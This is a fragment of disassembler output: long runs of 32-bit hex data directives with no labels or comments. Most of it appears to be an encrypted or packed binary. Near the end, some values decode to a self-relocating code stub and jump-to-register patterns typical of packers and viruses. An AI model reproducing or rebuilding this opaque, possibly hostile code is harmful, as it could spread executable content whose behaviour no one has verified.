		dd 7000000h, 19BCCD4Dh,	8F99E0D7h, 0B4EF8107h, 6044AC1Ah
		dd 0DFC18166h, 0B70F5102h, 81615BFEh, 0AC1AB0C7h, 0C2B96644h
		dd 850F4AFBh, 0FFFFFF86h, 51C88166h, 0C2E911h, 0BA630000h
		dd 9CD721ADh, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 2	dup(0)
		dd 1636E9h, 16756800h, 59E90619h, 68FFF96Ch, 619177Eh
		dd 0F96C4FE9h, 187E68FFh, 45E90619h, 68FFF96Ch,	61919D0h
		dd 0F96C3BE9h, 1A5F68FFh, 31E90619h, 68FFF96Ch,	6191B00h
		dd 0F96C27E9h, 1BCB68FFh, 1DE90619h, 68FFF96Ch,	6191C97h
		dd 0F96C13E9h, 1D4668FFh, 9E90619h, 68FFF96Ch, 6191EBAh
		dd 0F96BFFE9h, 1FF868FFh, 0F5E90619h, 68FFF96Bh, 6192126h
		dd 0F96BEBE9h, 222368FFh, 0E1E90619h, 68FFF96Bh, 619235Eh
		dd 0F96BD7E9h, 24DC68FFh, 0CDE90619h, 68FFF96Bh, 61926B0h
		dd 0F96BC3E9h, 27C468FFh, 0B9E90619h, 0D7FFF96Bh, 0EB46A351h
		dd 3A957218h, 48A740ECh, 9AF512B6h, 7D00E18Dh, 69151249h
		dd 39DF2188h, 0AAC71D8h, 0DB8382EDh, 40A8E53Eh,	0E39691h
		dd 6DCE132Fh, 0F9EEA94h, 60EF4CF6h, 617AFB9Fh, 0ED4EB20Ch
		dd 0E8846F9Bh, 69B8A70Ch, 0AD28D62Dh, 7421A2DFh, 7751BE5h
		dd 0F181EF6Ah, 0E88D04h, 0D5283774h, 9BF7B035h,	0E588C5C7h
		dd 51AAD6h, 6F4F0000h, 1350ED4Fh, 0FA82FCFDh, 88E35A06h
		dd 0E350D575h, 0E8A5518Dh, 254BA50Ch, 157ADF34h, 8AF1AE27h
		dd 5D9CF431h, 0FB00E898h, 0C2790380h, 2EB094A6h, 0F9423A97h
		dd 0E8416697h, 0F87DC000h, 0E8416590h, 66C1500h, 0E54832B2h
		dd 1415FD6h, 6DFA0000h,	0F9EEA94h, 0B460A6F8h, 0D3104B39h
		dd 0FA823CBDh, 35BE9A06h, 735CFD27h, 0F137AF9h,	8899E86Dh
		dd 7EE992DEh, 6D13EDA5h, 75E782EEh, 0F1B89F08h,	78178C6Ch
		dd 70E001A9h, 6FA8A1Fh,	0B750FA0Bh, 9C21C958h, 5981A97Ch
		dd 50D51028h, 0BD1FBF2Ch, 9CA5C300h, 0E0117754h, 7E06FA19h
		dd 0E8229DFFh, 0BA39E323h, 7D97D739h, 408F0CE8h, 106D1BBFh
		dd 0A9C77495h, 0B0D80C39h, 0E95341h, 0FC3C9C9Fh, 2FF09B8Ah
		dd 617D0A8Bh, 562EAFC1h, 6800E9h, 0E956D1h, 0EC4F0C6Fh
		dd 56B8394Fh, 271600E9h, 0F4F513A8h, 0FEA07D5Bh, 0C665F772h
		dd 0D1738F2Fh, 0CA4BC6A3h, 15441B6Dh, 52AE0AF4h, 200DD41h
		dd 0A0E0C656h, 7BF6A463h, 8CC35DFAh, 13634E7h, 7AE556D5h
		dd 5BE001ADh, 149131CCh, 0AA3EAE75h, 0ADD0A2Bh,	9A7DAB85h
		dd 0B66E1937h, 0DC15BC3Bh, 1F64BB37h, 132D4553h, 0C180000h
		dd 0D32C835Ch, 0A77FD22Fh, 718D1CFDh, 48DF32CFh, 4C67D9Ah
		dd 0C522D057h, 15F29A6Ah, 2AC767BAh, 7B943EC7h,	0DA1B6D22h
		dd 7400E394h, 966D0356h, 61A00FE8h, 91504B9h, 0A5D3798Bh
		dd 423F4DC8h, 6FC928C1h, 5AFC014Fh, 67D4532Eh, 0E8A5CD01h
		dd 0C972C90Ch, 0AF75648Ch, 75D300E8h, 0D0A5F6Ah, 0B83DB8F6h
		dd 7D29ACB4h, 65BD00E8h, 0C45CCDBBh, 0DA08501Ch, 47689418h
		dd 0A68CB717h, 5D9A1396h, 0E810CA0Bh, 9C196400h, 0B92B7FEBh
		dd 0D6D6E519h, 0B1h, 0EA946D73h, 4AF80F9Eh, 7E39563Eh
		dd 0D82906FAh, 4CACD12Eh, 66A4731Ah, 24D53BDAh,	8206FAE1h
		dd 0A8C73CBBh, 1D0CB159h, 3424201h, 0D8283DECh,	0E794D85Dh
		dd 85FEAA78h, 0C972D6E8h, 0E8FD87A7h, 439C9F0Ch, 0CF6CD0EEh
		dd 0F58EF5B9h, 0C17AC10Ah, 3BC4CC56h, 116C1897h, 0EB382794h
		dd 0C1A852D3h, 0FE1B9640h, 3FE69493h, 64BB17FCh, 2465333Fh
		dd 13000012h, 278A6715h, 76D936DCh, 84EB04B0h, 0D639D67Ah
		dd 3144A551h, 2DD92E0Dh, 0FDA37DCCh, 0CE708D1Ch, 9F47DE31h
		dd 0C64D942h, 0E395CDh,	6D0A4F6Bh, 0A00FE896h, 2358B961h
		dd 0CE47EB34h, 0EA946DABh, 0FDFC1451h, 5B06FA82h, 0B8E178E0h
		dd 521DB561h, 0E322ABD1h, 0B373DE3Bh, 1177B409h, 6FA26E0h
		dd 2ABEFF7Eh, 6FA26ABh,	0CFBD3605h, 30F3C75Eh, 1EDF318Ah
		dd 0B806FA26h, 6AF546C5h, 9871F29Ah, 6B735426h,	0E877B409h
		dd 6CF47119h, 0CE82420h, 6697F9B6h, 0C000E824h,	9BE98F91h
		dd 8BE463DEh, 623719DDh, 0CF318DBAh, 5ACE1A6Eh,	4B88F174h
		dd 558EB425h, 0AA2B1205h, 0B9E28EEDh, 0C2AE56AEh, 7D412EA7h
		dd 8E12C325h, 0D1AC0555h, 3687E952h, 100F470Dh,	8081902Dh
		dd 3844E83Ah, 1C21BE3Dh, 0C4889DFh, 0A9250F3Eh,	8F214BA1h
		dd 259E9DBEh, 0C013BB4Ah, 62581CFDh, 240A1450h,	13000011h
		dd 278A6715h, 76D936DCh, 84EB04B0h, 0D639D67Ah,	3144A551h
		dd 2DD92E0Dh, 0FDA37DCCh, 0CE708D1Ch, 9F47DE31h, 0C64D942h
		dd 0E39ACDh, 6D0A4F6Bh,	0D9EEA94h, 9AEE4FB1h, 0CE88D52h
		dd 3419F9Ch, 0E336AD2Fh, 288071E3h, 5FDE00E8h, 14AA07E0h
		dd 0ADE50BB0h, 0E90AFAC4h, 0E33E2992h, 0AABAC243h, 0ADE3C2Fh
		dd 68402A5Fh, 0DCD33578h, 0F0C25DCCh, 7CF98733h, 4EEA8401h
		dd 55000000h, 3001F018h, 0DC5F0ADEh, 6D77C57Ch,	22A302F6h
		dd 0ED4F6F4Fh, 0B2D61350h, 6FA8243h, 32CF9E9Dh,	6D8D1390h
		dd 490CE832h, 43DE49F2h, 2E3946A3h, 2CB431D5h, 0E8D3ABh
		dd 0A33CE63Fh, 0AC11B14Ch, 0B2BE60BDh, 604E3EB7h, 105Bh
		dd 0ED4F6FE1h, 0E5EE3050h, 0B9180980h, 0E5777DCAh, 0B72CA87Fh
		dd 0BF42CD0Ah, 0A714511Fh, 0FA719041h, 0D64F2E06h, 0E39C3F42h
		dd 0F942390Ch, 0D107FBCh, 85FAFB6Dh, 0E95400E0h, 5A041D6Ch
		dd 909180BDh, 0C2C29AE6h, 5C656C87h, 71109510h,	117A06B0h
		dd 0BED26BCDh, 0AF98E06h, 0DC1D73B0h, 7A0AC977h, 66D58203h
		dd 0FFBB4AD5h, 730E7A28h, 6DB41BF4h, 8A54B7C5h,	7B739526h
		dd 0D300DB72h, 0C34AB968h, 0C18D6AD9h, 0FD2F7h,	0B967BD00h
		dd 882EF158h, 5602006Fh, 28CC56B9h, 0F7A360CFh,	0F85F631Ah
		dd 0F627F2Bh, 5FB24FF5h, 68C720C2h, 8F10F199h, 9B7F7E92h
		dd 3DD900E3h, 826194A4h, 0EA2706FAh, 0FA825786h, 9A40C306h
		dd 6CF97AC1h, 0C24DEE52h, 9D1A9B43h, 0E36FDB4Bh, 0B944930Ch
		dd 0F5832DF5h, 3D7EFD78h, 91696880h, 0C12700E3h, 0E39110h
		dd 438ECFAEh, 269F1AC0h, 0CF778E99h, 9C46DF32h,	1637BD0h
		dd 9EAC54BCh, 532A0AF1h, 0BF0A4980h, 0D6E06C64h, 0F43h
		dd 0A946F632h, 0F819BD46h, 0AE79191h, 58B95BA7h, 6B8432F1h
		dd 0BA49EED0h, 849CF30Ch, 51AC03DCh, 28F950B1h,	338617Eh
		dd 0E398ECEDh, 35AC4A00h, 0A753D0BFh, 48279CD9h, 0EA6311B9h
		dd 105731Bh, 0ECDCB49Eh, 0BDD0F787h, 948h, 14F6F24h, 61DA59FFh
		dd 0E36FE80Fh, 0CA73CA0Ch, 0C31CC65Fh, 9FED956Ch, 0E39102F7h
		dd 0B3244400h, 60A15391h, 26B8D54Eh, 0B41F79C2h, 0C8095FA7h
		dd 6600E370h, 0E2AB8517h, 215EDB58h, 3947EF36h,	0A951C73Ch
		dd 250AF12Ah, 9EA48F56h, 0FB7764BFh, 0EA22Dh, 0E9976D00h
		dd 0B85EA108h, 8632F05Fh, 58FC0669h, 27D350BFh,	0A88FB3CAh
		dd 0FF52AF5Bh, 0F627F25h, 58B750F2h, 5FC021C9h,	994F8EE2h
		dd 0CDE900E3h, 0EA946D94h, 0FDFC1451h, 5B06FA82h, 621963E0h
		dd 8212C325h, 0D1AC06FAh, 0AEEC3554h, 0A5C0AC58h, 0C1765A26h
		dd 87971169h, 3A25D0F7h, 0B555A8E8h, 8DDDBD36h,	44000008h
		dd 0EFEE02BFh, 4906FA82h, 0EAEF71F2h, 0AC06FA82h, 46BF61BDh
		dd 8A339529h, 9B43C24Dh, 8D1390EDh, 0CE36F2Ah, 0FBA57DECh
		dd 0DD5EDD7Ah, 0CC0D63A0h, 6A00E396h, 2EF79213h, 0FD046B84h
		dd 1AA42755h, 0FBE305B6h, 930AF199h, 0A7D57D84h, 0CB5D9CF4h
		dd 80FB0AD1h, 68D38005h, 0BF0BACB9h, 0D5E36F64h, 0DD7h
		dd 55B262A6h, 648529FAh, 0B653FD05h, 0C425C75Bh, 17F09E65h
		dd 26FD5A6Ch, 0F0309F78h, 0BD40AF48h, 946DFC1Dh, 97940DEAh
		dd 0E3998071h, 0D900DE00h, 0A951D0BFh, 4A259EDBh, 0BFAA13BBh
		dd 3339BA68h
		dd 0D5A34BDAh, 7503AF74h, 16620E14h, 0BCC86AB7h, 583275C1h
		dd 137FA044h, 0F7874DBFh, 7C622D0h, 6FC70000h, 3850ED4Fh
		dd 0CE36FCAh, 0F564D9A4h, 0FC39822Ch, 0E3916594h, 2246C300h
		dd 0E391B3h, 32B32E0Dh,	167A4D9h, 0E391D0h, 0FB960F6Eh
		dd 2C3B802Ah, 9842C3D3h, 91126F1Dh, 915E9BEBh, 0F6C800E3h
		dd 0B2CF2992h, 0E51152EAh, 96FA47BCh, 0AF1276Eh, 34A5CB08h
		dd 920AD15Dh, 0E6D2AABh, 0BFA268C7h, 715F0B64h,	0D0Bh
		dd 617E2EFAh, 0B051F50Eh, 0C21FC959h, 10F1936Fh, 23BC6AB9h
		dd 0F2312618h, 0BC44AB44h, 8994FB14h, 60A108E9h, 4BC059B6h
		dd 0E39EB425h, 0ED741200h, 51EA946Dh, 1B983CC6h, 9BED2A51h
		dd 6FA825Ah, 0C6973FC6h, 9293FE77h, 0C3553E8h, 578A403h
		dd 4E06F719h, 0DDA006FAh, 6F2EFE5Eh, 9246F7D0h,	0C4676B11h
		dd 4C706187h, 83CE06FAh, 0D2AFDD7Fh, 0BD95DE57h, 0F749EBE5h
		dd 6DE84D0h, 942D0000h,	6FA8264h, 3388ECF2h, 0E36F8CDDh
		dd 0EA532A0Ch, 0E3FCA67Fh, 0BFCD758Ch, 8D2E922Ch, 0F1683B7Bh
		dd 79A8930Ah, 64BEDCD8h, 5CE1CFBBh, 2B00000Ch, 7FD22FDDh
		dd 8EE1FEA4h, 0DC33CC78h, 0EE419E42h, 0E98C6D19h, 0F5A166D5h
		dd 0C56BB514h, 9638C524h, 670F1679h, 0F41C118Ah, 0E39F05h
		dd 6D5287A3h, 0C651EA94h, 8AE79541h, 1BEA6309h,	7A840573h
		dd 9FF1AAD6h, 6FA825Eh,	1CEA85F8h, 0D55E0470h, 89217C7Dh
		dd 1DCD70D1h, 2901069Eh, 3AE63C2Bh, 0D7B2334Eh,	0EBA484Eh
		dd 6F880762h, 0F79338A8h, 0C04F8CD0h, 8FEA9642h, 0FA8ED405h
		dd 8075B106h, 60CFB30Fh, 0ABC3403Bh, 14Eh, 0EA946D4Eh
		dd 4CF60F9Eh, 80838EB3h, 0B20C59DAh, 6F9BED4Eh,	470CE884h
		dd 13610918h, 0C5ADDB56h, 0E88D10h, 0A9D77B84h,	4A36E220h
		dd 0CF3B1700h, 9F129133h, 0C75280EAh, 8FEA963Ch, 88D1D316h
		dd 3CBED6E5h, 5B000000h, 0BDD34F6Fh, 6FA823Ch, 8A4B9D9Ah
		dd 2406FA82h, 0DE5FDA59h, 0E8A5568Ah, 40FD400Ch, 34A452D1h
		dd 0FA6685CCh, 402CA96Eh, 0E8B8C530h, 0A68CB500h, 0E5B1D2D2h
		dd 0A6BFD6h, 6D5A0000h,	0C651EA94h, 8AE79541h, 0FB386309h
		dd 0FA826495h, 2345C206h, 6FA82B2h, 31B2310Ch, 5725D156h
		dd 0F9872FF6h, 8E99190h, 0FAA73758h, 0A4F23306h, 0AFCAB65Ah
		dd 647AD730h, 0F755BB00h, 0EF0CE709h, 0A4EC1C91h, 80FFA360h
		dd 2BD72C3Bh, 16A3205Dh, 0B14EFC0Bh, 0CA1DC95Eh, 5EA8AB41h
		dd 0E84E5814h, 0D700000Ah, 0EB46A351h, 3A957218h, 48A740ECh
		dd 9AF512B6h, 7D00E18Dh, 69151249h, 39DF2188h, 0AAC71D8h
		dd 0DB8382EDh, 40A8E53Eh, 0E39C91h, 6DCE132Fh, 720FE896h
		dd 15741EE7h, 84E3600Eh, 0DD34D57Dh, 0BCD4946Dh, 6FA823Dh
		dd 0F51BA09Bh, 6FA8204h, 105CDBA2h, 688068B9h, 6FA8269h
		dd 18F974C7h, 4D30Eh, 4F6FCB00h, 803850EDh, 0CE0CE86Dh
		dd 0CF5A016Fh, 8D139032h, 0E89748h, 3D1B7738h, 5C28D452h
		dd 636DA421h, 0D1D6E59Eh, 8B7D7C94h, 60DB00E8h,	2351F709h
		dd 28ADCD46h, 54000002h, 0FA826694h, 8AEEF006h,	9865F431h
		dd 76EF8AF6h, 0E36F7DE2h, 0FA08170Ch, 91D91870h, 47700E3h
		dd 78171789h, 3FF56A9h,	7A8AD582h, 0A9E657D2h, 0B3C165BEh
		dd 0A722CA5Ah, 26C2432Eh, 0E3C613C2h, 53CEAD00h, 9A5BADEAh
		dd 3400E3C6h, 0DC33CC49h, 0E3209D45h, 0E3C64C8Dh, 0AC8EEA00h
		dd 7CB35673h, 66AD34Eh,	0E301D7h, 0E3890A71h, 0AA3E7BB8h
		dd 0E3012Bh, 0AF2EB685h, 900E301h, 1F5E40Ch, 0E85300E3h
		dd 439BE86Dh, 84345CE1h, 220AF1FFh, 4B95885Bh, 2C5864BFh
		dd 9AA02h, 0E18F9500h, 0B056A900h, 7E2AF857h, 50F40E61h
		dd 1FCB58B7h, 0D087BBC2h, 0E74AA753h, 379A771Dh, 40AF48EAh
		dd 0A7F819C1h, 9D5786EAh, 0D5F100E3h, 0F7946D8Ch, 1920EC90h
		dd 4B39B422h, 3CBDD310h, 9A06FA6Bh, 0E2A739A3h,	350D8849h
		dd 0A650D1B0h, 52FA0A15h, 0BCEBABD1h, 33DB2AD6h, 5FD1D3D6h
		dd 24BED0F7h, 5B000001h, 51EA946Dh, 0E9973FC6h,	0E465178Ch
		dd 3794751Dh, 90F845A7h, 0CE88454h, 0F59DEB52h,	0E88D00h
		dd 7563CF70h, 12ED721Bh, 5CD9A13Ah, 0E56D2BA5h,	3944D6h
		dd 6FED0000h, 3850ED4Fh, 0CE8A5A4h, 2BC9F612h, 4A86AA79h
		dd 6AF22447h, 57E7BE3h,	0CF97E558h, 0E8040Ah, 55D357Ah
		dd 0D6E50D8Bh, 0A2E4h, 94395700h, 0C9E2C04h, 0BFA1B83Dh
		dd 82EFEE02h, 0F24906FAh, 670F1671h, 2FF76219h,	0A2610085h
		dd 188F4h, 248BE556h, 7A4EDC15h, 0DB560001h, 6ABB125Ah
		dd 12EC7BC0h, 4C14F56Eh, 6FAB373h, 8B640E17h, 87349826h
		dd 0E7F32361h, 7BC0BB0Ch, 8E6B17ECh, 0EF36E423h, 5EA94568h
		dd 7C715F0Bh, 4B000008h, 9FF20FBDh, 0AE01DE84h,	0FC53AC58h
		dd 0E617E22h, 89AC4DF9h, 0D58186B5h, 0A54BD534h, 7618E544h
		dd 47EF3699h, 0D43C71AAh, 0E3A325h, 6D72E783h, 0A00FE896h
		dd 38B4A461h, 0C76F184Eh, 6D48AF48h, 3751EA94h,	0AC383888h
		dd 0A2CA4B7Fh, 0F1956EF9h, 620C1574h, 2729585h,	6F7C0000h
		dd 3850ED4Fh, 0CE36F09h, 0DF8B9887h, 0F9423966h, 84F0946Eh
		dd 70006CE9h, 0E39685h,	0F158B8F5h, 0E6EB916Ch,	85F39F64h
		dd 0BFE86DE8h, 250DFFD3h, 0FA62D6EEh, 7000001h,	0FA826694h
		dd 8AEEF006h, 6F86DF31h, 93900CE3h, 0E3967C7Dh,	66A81900h
		dd 4EFAB348h, 0AB32E0Dh, 797890CDh, 1400E301h, 0F6082476h
		dd 85F8A5E0h, 0F6A06100h, 0C76FB619h, 288C52B9h, 0D67A8493h
		dd 0E956CFAAh, 0F1DA1787h, 0D7314F0Ah, 0CF606955h, 982CADC3h
		dd 0B38A0AD1h, 9BE2BF34h, 0BEDD2148h, 2EF87464h, 77Fh
		dd 0ED0ABA4Eh, 3CDD8182h, 4EAB55ADh, 9C7D1FE3h,	0AF48F60Dh
		dd 7E85B294h, 48D837D0h, 15E847A0h, 0EC359475h,	3F7CA542h
		dd 0E3A028A9h, 71E88600h, 9EEA946Dh, 8948A0DDh,	2706FA82h
		dd 71B0DF54h, 0AC9BBBC9h, 0C76888C6h, 65436FFAh, 59D3BCEDh
		dd 98A4EBC7h, 0DB54C1Bh, 0A1BB35ECh, 2ED4D0F7h,	7D000001h
		dd 106946Dh, 0CF4A2755h, 31D928A1h, 1637BD0h, 849054BCh
		dd 4B960CE8h, 7620EBCh,	0D0BFFC88h, 9FDAA652h, 8C47B226h
		dd 50D300E8h, 0B44FDEAAh, 6407620Eh, 0CA8AF69Ah, 52D9F55Dh
		dd 636D452Dh, 0CD6E589h, 30h, 0ED4F6FB5h, 0A5A43850h, 0F6120CE8h
		dd 5C572D9Fh, 0CF8C09B2h, 8570006Ch, 0F500E8F9h, 79E8E64Ch
		dd 0F772FEA8h, 0F049BB7Eh, 0A826D6E5h, 0C3000000h, 9EEA946Dh
		dd 3E4AF80Fh, 0C0AC56AFh, 0F10EB849h, 0FA587867h, 9139C806h
		dd 5FC31B70h, 0FD8B2FF0h, 0F8E11080h, 0FC7F06FAh, 0D12D3C81h
		dd 0AF24412Fh, 5FACFE12h, 37060CE7h, 0DE8C9B86h, 0E01C7C01h
		dd 0AB2D92A2h, 0E73C4BC8h, 3AA250D7h, 22F6693Ch, 9342C1EBh
		dd 5EA8F2E0h, 44495713h, 33000006h, 47AA47F5h, 96F916BCh
		dd 0A40BE490h, 0F659B65Ah, 0D1648531h, 0DB94EEDh, 0DD839DECh
		dd 0AE50AD3Ch, 7F27FE51h, 0EC043962h, 0E3A1EDh,	6D2AAF4Bh
		dd 720FE896h, 0FF741EE7h, 8E99190h, 23D23673h, 0BD06FA82h
		dd 6D2245BEh, 0F9EEA94h, 0E3B34CF6h, 40h, 0EA946D66h, 4CF60F9Eh
		dd 67A49120h, 0FA82D001h, 8D0F6E06h, 0EFCFFC25h, 5E178C4Ch
		dd 0A77BE6F4h, 79FA7705h, 926F17EEh, 9958B0EDh,	3706FA56h
		dd 37D92544h, 386CBEh, 202F0000h, 0A4BB38E0h, 0A850D0BFh
		dd 1DC55C2Bh, 82D3076Fh, 1B5806FAh, 824B8ADEh, 4ED706FAh
		dd 0C09DD8A4h, 0E34FF87Dh, 0F29A6AF5h, 82B62749h, 2D1006FAh
		dd 9E48D9A8h, 946DE641h, 0B10D9EEAh, 0F79AEE4Fh, 0C10CE36Fh
		dd 0CF56C17Ah, 0D411AE27h, 817901B4h, 7FF40657h, 0D4691110h
		dd 0B8BD06B4h, 5E311A92h, 47981DC9h, 809D19E8h,	0EA3B92DEh
		dd 3A46C540h, 12AB0DD1h, 0FAF0C6FEh, 902D100Ah,	3E4B8470h
		dd 36560AACh, 0A5DCC889h, 906DFC7Bh, 8BC875EEh,	90DC849Ch
		dd 0F03150D5h, 5794A946h, 982ED839h, 5BCD872Eh,	0AC8109Ah
		dd 0BDCC4934h, 27CF5664h, 11BC1C59h, 266CA1BBh,	6DFE8A09h
		dd 114EEF51h, 0C829FEFFh, 60E5580Ah, 375996D3h,	0AC829C6h
		dd 92831D60h, 0F8CB22E2h, 837BED66h, 0CB00DA7Ah, 0CC04A170h
		dd 3B376AD8h, 4C66Dh, 0C573B100h, 943AC524h, 620E147Bh
		dd 34D82A85h, 3AF74DBh,	0CC6B5FE6h, 36E8B37h, 53BE5B01h
		dd 7CD32CCEh, 0BB1CFDA5h, 0A6736286h, 31CD00E3h, 0EA946DA8h
		dd 0A663A20Dh, 29DF0D27h, 2D5BD620h, 0CFBD65BCh, 4EBA9097h
		dd 518712B7h, 0F0E9433Fh, 139D9475h, 7CD0F779h,	38h, 0F04F6FE5h
		dd 0E9D6571Ch, 0B4098480h, 0D7B658A5h, 8E2BA84Ah, 0E8F45A7Ah
		dd 74C9B40Ch, 0F3701EE5h, 0A446DB46h, 94DA1D4Bh, 0B74E00E9h
		dd 829FF20Fh, 348A94E0h, 4F000004h, 0BCE621BFh,	6FF1936Fh
		dd 56CF6D32h, 53ACEA3Bh, 0C5A4C1AFh, 8CE99739h,	2A4CAC11h
		dd 0FF5BD4BEh, 0F69C6706h, 676EF8Ah, 3BD47E87h,	17A408D6h
		dd 0E8C035F1h, 3E4A310Ch, 0E8D1A356h, 0A9EF3700h, 4331AC5Ah
		dd 0E6923ACAh, 7921E08Bh, 7CD6410Bh, 0CEA4ED60h, 0E5D40AFAh
		dd 4E67D6h, 9BD80000h, 0E8C98475h, 2FAEC200h, 8900E8C9h
		dd 1192E9B2h, 0EE02BF7Eh, 6FA82EFh, 35A4CC49h, 9306FA82h
		dd 0DBA82DA8h, 0F41CA103h, 0CE8A518h, 0BC91223Eh, 267E1D21h
		dd 3BB635E1h, 47B0254Dh, 9FC000E8h, 4EEDDFB3h, 0E282D6E5h
		dd 27000000h, 9EEA946Dh, 8948A0DDh, 2706FA82h, 0B4C068B8h
		dd 0AEB93AB9h, 4EDFAD59h, 7923E3B7h, 85F36E0Bh,	0B455FD04h
		dd 0DE8A9887h, 0CA5ED792h, 6FA7E95h, 2DCA748Dh,	229B43C2h
		dd 0CD46EC37h, 2E922CBFh, 957B7B8Dh, 84D30CE8h,	40E6397Dh
		dd 22BA3934h, 0C798BAE6h, 1AF7724Dh, 822AFA65h,	91166F6h
		dd 0E7494AA1h, 409EEB68h, 0CD48F030h, 68C1870h,	532A0AF5h
		dd 0C4A87FEAh, 0DC462DACh, 0BC6AB90Ah, 95E8B5B0h, 9196F916h
		dd 874D32E5h, 0C48064BAh, 2F2FAh, 9947DD00h, 680E1178h
		dd 36E2208Fh, 8AC76D9h,	0D78380EFh, 183F033Ah, 2F825F0Bh
		dd 7FD22FD5h, 88E700A2h, 0EF30D179h, 0A49F5EB2h, 1D3900E3h
		dd 4C21BFC4h, 0AC35F480h, 0EF3453D0h, 0BA4BA643h, 1A6EAB10h
		dd 6FAF3DBh, 6C8D0675h,	4DD0BF15h, 835B28ADh, 98749C21h
		dd 0BE0CE8A5h, 0C4D53AA2h, 224DC99Eh, 0B1BF3AE2h, 0E89234A1h
		dd 37134400h, 0A0F80E19h, 0C73CBB5Fh, 0E59B8000h, 0DEE9D6h
		dd 0C7520000h, 5105973Dh, 9A31F3BBh, 0BF0265DEh, 2DA652D0h
		dd 6D1BC342h, 0D7B27FCh, 0FA7EEA65h, 0C4ACCC06h, 329C6EDAh
		dd 0F6644B26h, 702ABE66h, 15FA5A7h, 0A2239E22h,	0FA893EC7h
		dd 5700BAFFh, 8B37CC9Fh, 0E40580FDh, 0A6D27C85h, 86379925h
		dd 0F00D8B9Bh, 0C847224Eh, 0F744C1BCh, 0E8CC6191h, 617EFD0Ch
		dd 0ED4EB20Ch, 95C050B0h, 8517E672h, 0C7EF9800h, 72C90AF5h
		dd 1DC95EC9h, 0E27340A0h, 927BE503h, 9291F811h,	0CA643DE4h
		dd 0DB9764BAh, 1DECDh, 0AD5BA900h, 7C22FD4Ch, 4AF60C63h
		dd 1CC042ADh, 0EB976CC3h, 0E453770Eh, 3B96731Fh, 4BA643E9h
		dd 94FB14B6h, 9304E58Dh, 0A58B4A9Eh, 92500E3h, 0E8966DD0h
		dd 973BC453h, 340FD1Eh,	0FA82ECEDh, 72F34A06h, 7A880E17h
		dd 53B653CEh, 0EFEE02BFh, 7B06FA82h, 0F772FEACh, 335ED7A6h
		dd 0AD3C48F2h, 15C14654h, 18CB2596h, 0EBA4D895h, 43E73853h
		dd 3FC629C2h, 0BB62FB8Ah, 9C1B7C6Eh, 4F8EE21Fh,	0E906FA07h
		dd 8527FB92h, 0CFEF7C00h, 7D93D06Dh, 6FA077Ch, 55E263DAh
		dd 0E8088F33h, 0C369C70Ch, 0E6627D9Bh, 9B5AAE0Fh, 3500E8EDh
		dd 82BDCB46h, 0E021E149h, 6A74D936h, 24F78C1Bh,	4FCAD41Fh
		dd 78C29AEEh, 71CC0AFAh, 0D37B8A03h, 301F1CA5h,	413C48F0h
		dd 79A783C4h, 56BA0365h, 0CDAE3Eh, 0F20C1B18h, 0BB17C64Eh
		dd 3F5114CDh, 14CDBBBEh, 18782518h, 0C50FE767h,	78F7723Ah
		dd 49F1309Fh, 0F49A65F4h, 468ED88h, 80E87885h, 14CD4751h
		dd 63118CEFh, 77519EAh,	0ADDB7B86h, 0D6E64CE7h,	8E7AD019h
		dd 126ECF77h, 14E9AF59h, 0DB34B135h, 0B7046876h, 0DFF1ED51h
		dd 0E692E91Eh, 0E11078B5h, 9F1EB333h, 0B3338849h, 657261Eh
		dd 52D3BE37h, 5EE3DCA8h, 330ECF21h, 0D5A81EB3h,	0CD3B1750h
		dd 0DA2E8FF1h, 14A13C56h, 6FFC1D60h, 3850ED4Fh,	12B88884h
		dd 5E1D6BD2h, 47EF3621h, 25D43C39h, 83228E78h, 0D52C3BB8h
		dd 0EB993FC1h, 1ADB2D8Eh, 0B4228E78h, 90AD4AC9h, 5CD97F81h
		dd 3E4AF40Dh, 0F208AF56h, 0AC8623C8h, 0E11A57Ch, 0D5501B75h
		dd 8C0BC25Eh, 0E90685E0h, 0A9D77F86h, 813ADE20h, 60E59196h
		dd 80EA231Ch, 38D98180h, 0DAA650D1h, 0ACCh, 0D0BF9500h
		dd 0A2DFAD4Dh, 6DA2B321h, 329BE997h, 0AC3D4BF3h, 4AC3B151h
		dd 0E76612BAh, 87067220h, 27A6D280h, 0C24B39DBh, 7DEC9844h
		dd 2D70FCA2h, 2A2B68h, 24048900h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 56243C89h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 5152241Ch, 7A521268h, 0C181597Eh, 9F8A1E98h,	0BF59CA89h
		dd 0E814A410h, 545AD701h, 83241C8Bh, 895104C4h,	84B89F9h
		dd 83240C8Bh, 1C8B04C4h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 2434FF5Ch, 4C4835Fh, 0F95633E9h, 32345CFFh
		dd 0B8B450DBh, 61929C7h, 0E0FFC503h, 7A48573Dh,	4ABC8252h
		dd 7407917Eh, 32B5D724h, 0DB75B7Eh, 6D3CF506h, 59DEC54Eh
		dd 9984122h, 1C05BCE3h,	50576664h, 485740A5h, 740E767Eh
		dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 192A8DEDh, 8428B06h
		dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h
		dd 80DFA7CDh, 0E883C333h, 91858904h, 8B061227h,	0F88B0458h
		dd 8B10428Bh, 0C8D3184Ah, 3946D4BEh, 2BC633AAh,	0FCE083C7h
		dd 8904E883h, 12343985h, 14428B06h, 2E5D8589h, 428B0612h
		dd 0B0E95318h, 0FF000000h, 121A9DB5h, 0B9E906h,	0B5FF0000h
		dd 6121AEDh, 0AEE9h, 0DB5FF00h,	0E9061212h, 0A3h, 34D1B5FFh
		dd 98E90612h, 0FF000000h, 1202E9B5h, 8DE906h, 0B5FF0000h
